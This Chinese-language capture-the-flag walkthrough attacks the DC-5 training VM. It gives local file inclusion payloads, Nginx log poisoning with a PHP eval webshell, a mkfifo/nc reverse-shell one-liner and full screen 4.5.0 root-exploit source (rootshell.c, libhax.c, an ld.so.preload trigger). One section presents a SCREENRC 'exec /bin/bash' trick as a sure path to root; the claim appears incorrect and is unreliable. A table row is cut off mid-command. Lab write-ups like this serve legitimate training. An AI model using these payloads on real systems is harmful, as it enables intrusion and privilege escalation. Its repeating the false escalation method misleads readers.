休息了一个周末,今天继续我们的学习;给大家带来靶机DC-5详细渗透getshell过程;
这个靶机主要是利用安装在主机上的应用程序RCE漏洞来进行越权,所以在日常生活中提醒我们要及时更新软件的版本,避免出现危险;
文章目录
前置准备
首先我们在VitrualBox里导入DC-5的.ova镜像文件:

然后在Vmware里开启我们的kali(如果你的Kali安装在VirtualBox,那么后续的网络配置就不用看):

网络配置
- DC-5靶机:
首先我们点击靶机 ---> 选择设置 ---> 网络 ---> 仅主机网络:

随后将网络配置为192.168.56.0/24网段的IP地址:

这里靶机DC-5的网络配置就好了;
接下来我们配置Kali的 ---> 虚拟网络编辑器 ---> 新建一个NAT网卡 ---> 配置192.168.56.0/24网段:

随后我们打开kali,输入命令ifconfig,查看是否配置成功:
这里需要
先打开VirtualBox的靶机,否则可能会出现网络不显示的情况:
如图所示:

Kali主机网络成功配置;
信息收集
确定目标主机的IP地址
我们根据上述得知:
- 目标主机网段:192.168.56.0/24(模拟公网可访问的IP地址)
所以我们用Kali对其进行扫描,查看它开启了哪些服务以及端口:
bash
# 确定确定IP地址
nmap -sP 192.168.56.0/24
可以看到我们得到了两个IP地址:

那如何确定哪一个才是真正的目标主机呢?
很简单,直接去
ping IP地址即可

至此,我们可以确定目标主机的IP地址为192.168.56.109 ;
开放的服务以及端口
接下来我们就要对目标主机进行更加详细的信息收集了,查看其开启了哪些端口以及服务:
bash
# 收集信息
nmap -sV -sC -A -T4 -p- 192.168.56.109

可以看到目标主机对外开放了两个端口:
- 80:
http服务 - 60028:
可能搭建的Web服务
接下来我们就去访问一下,看看有什么可以利用的漏洞:

深入了解系统,发现只有Contrat 选项出现了留言框(其他三个功能的都是文字):

对其进行Web目录枚举,也没有发现什么有用的信息:

thankyou.php:留言板提交后的感谢页面;(同样会变化)footer.php:每刷新一次,页面内容会变化;




这种情况我也是第一次遇到,所以就去网上问了一下;
漏洞利用
首先明确:这种"刷新后内容(年份)随机变化"的现象,可能关联的漏洞及验证、防范方式如下:
核心是代码逻辑不规范/危险功能滥用,常见对应漏洞类型:
- 本地/远程文件包含漏洞(LFI/RFI)
如果footer.php中使用了include/require包含文件,且包含的文件路径/内容是"随机/用户可控"的(比如代码里随机选一个文件包含),则属于文件包含漏洞。 - 不安全的随机内容生成(若关联用户输入则是注入漏洞)
若年份是通过用户可控输入+未过滤的拼接 生成(而非单纯代码内rand()),则可能存在代码注入/HTML注入漏洞;若只是代码内rand(2015,2020)生成年份,本身不算漏洞,但属于不规范的版权信息展示。
漏洞验证方法:
- 验证是否为文件包含漏洞(最常见)
- 测试本地文件包含(PHP环境) :
访问footer.php?file=php://filter/read=convert.base64-encode/resource=footer.php,若能返回footer.php的Base64编码源码,说明存在本地文件包含漏洞(可读取服务器文件)。 - 测试敏感文件读取 :
若服务器是Linux,尝试footer.php?file=../../etc/passwd;Windows则尝试footer.php?file=C:/Windows/win.ini,若返回对应系统文件内容,说明漏洞存在。
- 测试本地文件包含(PHP环境) :
(这里因为有两个页面,所以分别进行尝试;)
本地文件包含漏洞(LFI)
经过多次尝试,发现漏洞存在于thankyou.php页面:
这里整理了一下可以验证的POC:
bash
# 一、基础路径遍历型 LFI 测试 Payload
1.简化版 base64 编码读取文件
?file=php://filter/convert.base64-encode/resource=index.php
2.用 ROT13 编码读取文件内容
file=php://filter/read=string.rot13/resource=index.php
3. 利用 file 协议读取本地文件(Linux)
?file=file:///etc/passwd
4.直接读取目标文件
?file=index.php
随后,我利用上述命令查看footer.php的源代码,发现了漏洞产生的原因:
bash
<div class="footer-wrapper">
<footer>
<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("footer.php");
}
?>
</footer>
</div>
代码分析:
(1)thankyou.php 存在 无任何防护的本地文件包含(Local File Inclusion, LFI)漏洞
(2)用户输入完全可控且无过滤:file 直接取自 GET 参数 file,仅通过isset(file)判断是否存在,无任何输入验证、路径过滤、协议拦截;(经过测试,可访问任意目录下存在的文件)
所以我们可以尝试一下
日志注入;(简单给大家讲下原理)
- 日志注入 + LFI 执行代码(无需allow_url_include=On,通用性极强)
目标:绕开 PHP 配置限制,间接执行代码(攻击者最常用的 "绕限制" 手段),操作步骤:(1)注入恶意代码到 Web 日志:
访问 http://目标IP/<?php system('whoami');>(<?php是\<?php的 URL 编码,%3E是?>),该请求会被记录到 Apache/Nginx 访问日志中;
(2)找到日志路径:攻击者通过读取/etc/apache2/apache2.conf或猜测,确定日志路径(如 Apache:/var/log/apache2/access.log,Nginx:/var/log/nginx/access.log);
(3)包含日志文件执行代码:
访问 thankyou.php?file=/var/log/apache2/access.log,服务器include日志文件时,解析其中的 PHP 代码,执行system('whoami')。
危害:无需依赖 PHP 配置,隐蔽性极高,即使allow_url_include=Off也能执行代码。
所以接下来我们就可以查看/etc/passwd下的文件:

(无可用信息)
日志注入
我们可以用bp抓包,构造一句话目录,使其记录到日志中:
根据收集到的信息,服务器版本为Nginx 1.6.2

- 所以Nginx的配置文件位置为:
- thankyou.php?file=
/etc/nginx/nginx.conf
- thankyou.php?file=
返回的结果为:(其中就包含了日志文件的路径)

bash
user www-data; worker_processes 4; pid /run/nginx.pid; events { worker_connections 768; # multi_accept on; } http { ## # Basic Settings ## sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; # server_tokens off; # server_names_hash_bucket_size 64; # server_name_in_redirect off; include /etc/nginx/mime.types; default_type application/octet-stream; ## # SSL Settings ## ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE ssl_prefer_server_ciphers on; ## # Logging Settings ## access_log /var/log/nginx/access.log; error_log /var/log/nginx/error.log; ## # Gzip Settings ## gzip on; gzip_disable "msie6"; # gzip_vary on; # gzip_proxied any; # gzip_comp_level 6; # gzip_buffers 16 8k; # gzip_http_version 1.1; # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript; ## # Virtual Host Configs ## include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } #mail { # # See sample authentication script at: # # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript # # # auth_http localhost/auth.php; # # pop3_capabilities "TOP" "USER"; # # imap_capabilities "IMAP4rev1" "UIDPLUS"; # # server { # listen localhost:110; # protocol pop3; # proxy on; # } # # server { # listen localhost:143; # protocol imap; # proxy on; # } #}
(可以放进ChatGPT里分析)
可以得到的信息为:
| 日志类型 | 默认路径 | 作用 |
|---|---|---|
| 访问日志 | /var/log/nginx/access.log |
记录所有客户端请求(包含URL、User-Agent、状态码等) |
| 错误日志 | /var/log/nginx/error.log |
记录Nginx启动/运行时的错误信息(如配置错误、请求异常) |
getshell步骤
我们使用BP抓包,输入一句话木马:<?php @eval($_POST['cmd']);?>

然后查看/var/log/nginx/error.log文件,成功注入一句话木马:

使用蚁剑连接
连接失败的可以看这篇文章:如何解决蚁剑返回数据为空(已成功解决))
连接URL为:http://192.168.56.109/thankyou.php?file=/var/log/nginx/error.log
(这里的密码为cmd)

成功进入目标主机:

后渗透:目标主机提权
接下来,我们要做的就是拿到目标主机root权限了:
- 可以反弹一个shell到kali
- 也可以直接使用蚁剑进行操作
(两者效果是一样的,一般比较推荐反弹shell到kali,这样不会留下太多日志记录)
随后简单测试了下目标主机支持哪种语言反弹shell:

还是挺多的,随便写一句反弹到kali:192.168.56.103
bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f
成功反弹一个shell:

(1)寻找可利用的SUDO权限
首先我们要尝试的是用户有哪些可利用的SUDO权限:
bash
sudo -l
cat /etc/sudoers
发现报错?
- 默认权限:
-r--r-----(440),仅root用户 /root组可读可编辑,普通用户(如 www-data)直接读取会被拒绝,部分系统会伪装成 "文件不存在"(而非直接提示Permission denied),这是 Linux 的安全机制; - 验证方法(root 权限下):
ls -la /etc/sudoers,输出示例:

(2)寻找可利用的SUID权限:
直接输入命令:
bash
find / -perm -u=s -type f 2>/dev/null
得到结果如下:

从执行find / -perm -u=s -type f 2>/dev/null的结果中,/bin/screen-4.5.0是唯一可直接利用来获取root权限的SUID文件(DC-5靶机的核心提权点),部分其他SUID文件需特定条件才能利用。
一、利用步骤(www-data用户下执行)
-
验证screen的SUID权限和版本(先确认目标):
bashls -la /bin/screen-4.5.0 # 输出应类似:-rwsr-xr-x 1 root root 123456 Apr 1 2025 /bin/screen-4.5.0 # 关键:权限是`-rws`(SUID),所有者是root -
利用screen的配置文件漏洞提权 (经典方法):
screen启动时会读取环境变量
SCREENRC指定的配置文件,我们可以构造恶意配置文件让screen执行root权限的bash:bash# 1. 切换到/tmp目录(www-data有写权限) cd /tmp # 2. 创建恶意screen配置文件:启动时直接执行/bin/bash echo 'exec /bin/bash' > malicious_screenrc # 3. 设置环境变量,让screen读取这个恶意配置文件 export SCREENRC=malicious_screenrc # 4. 执行screen-4.5.0(SUID root,会以root权限加载配置文件) /bin/screen-4.5.0 -x -
验证提权结果 :
执行后会直接进入
root权限的shell,输入id验证:bashid # 输出:uid=0(root) gid=0(root) groups=0(root)
二、其他SUID文件的利用可能性(需特定条件)
结果中的其他SUID文件利用难度高/需额外条件,实际场景中很少用:
| SUID文件 | 利用条件 | 简要利用方法 |
|---|---|---|
/bin/su |
需知道root密码 | 执行su root并输入密码(DC-5中root密码未知,无法直接用) |
/bin/mount |
需外部存储设备(如U盘) | 挂载包含恶意setuid程序的ISO文件,执行后提权(无物理访问则无法用) |
/usr/bin/chfn |
特定版本漏洞(如CVE-2013-4235) | 执行chfn时注入命令,旧版本中可提权(DC-5中chfn版本无此漏洞) |
/usr/bin/at |
需atd服务运行+www-data被允许使用at |
创建定时任务`echo "chmod 4755 /bin/bash" |
/bin/screen-4.5.0漏洞获取root权限
我们到漏洞库去搜索相应的漏洞:screen 4.5.0

(1)首先下载41154.sh脚本,并上传到主机:

(2)将下面的代码保存为rootshell.c
bash
#include <unistd.h>
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
char *argv[] = {"/bin/sh", NULL};
execvp("/bin/sh", argv);
return 0;
}
(3)然后将下面代码保存为libhax.c
bash
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
__attribute__((constructor))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
(3)正确的编译方式(标准流程)
bash
# 编译 rootshell
gcc -o rootshell rootshell.c
# 编译恶意 so
gcc -fPIC -shared -ldl -o libhax.so libhax.c
(4)将剩余的代码保存为1.sh:
bash
#!/bin/bash
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
(5)最后我们需要上传下面这三个文件:

(6)然后将三个文件上传到 /tmp目录中

(7)随后执行代码

这里报错原因为:
- 编译环境与运行环境的 GLIBC 版本不兼容 :
- Kali(高版本 GLIBC,比如 2.34+)上编译的rootshell;
- 但 DC-5 靶机的系统 GLIBC 版本更低(DC-5 基于 Debian 9,GLIBC 版本是 2.24 左右);导致程序无法调用低版本 GLIBC 的函数。
- 解决思路:在 DC-5 靶机本地编译 C 代码(保证与靶机 GLIBC 版本匹配)直接在 DC-5 的www-data用户下(/tmp 目录)创建 C 文件并本地编译;
随后成功拿到root权限:

总结
期待下次再见;
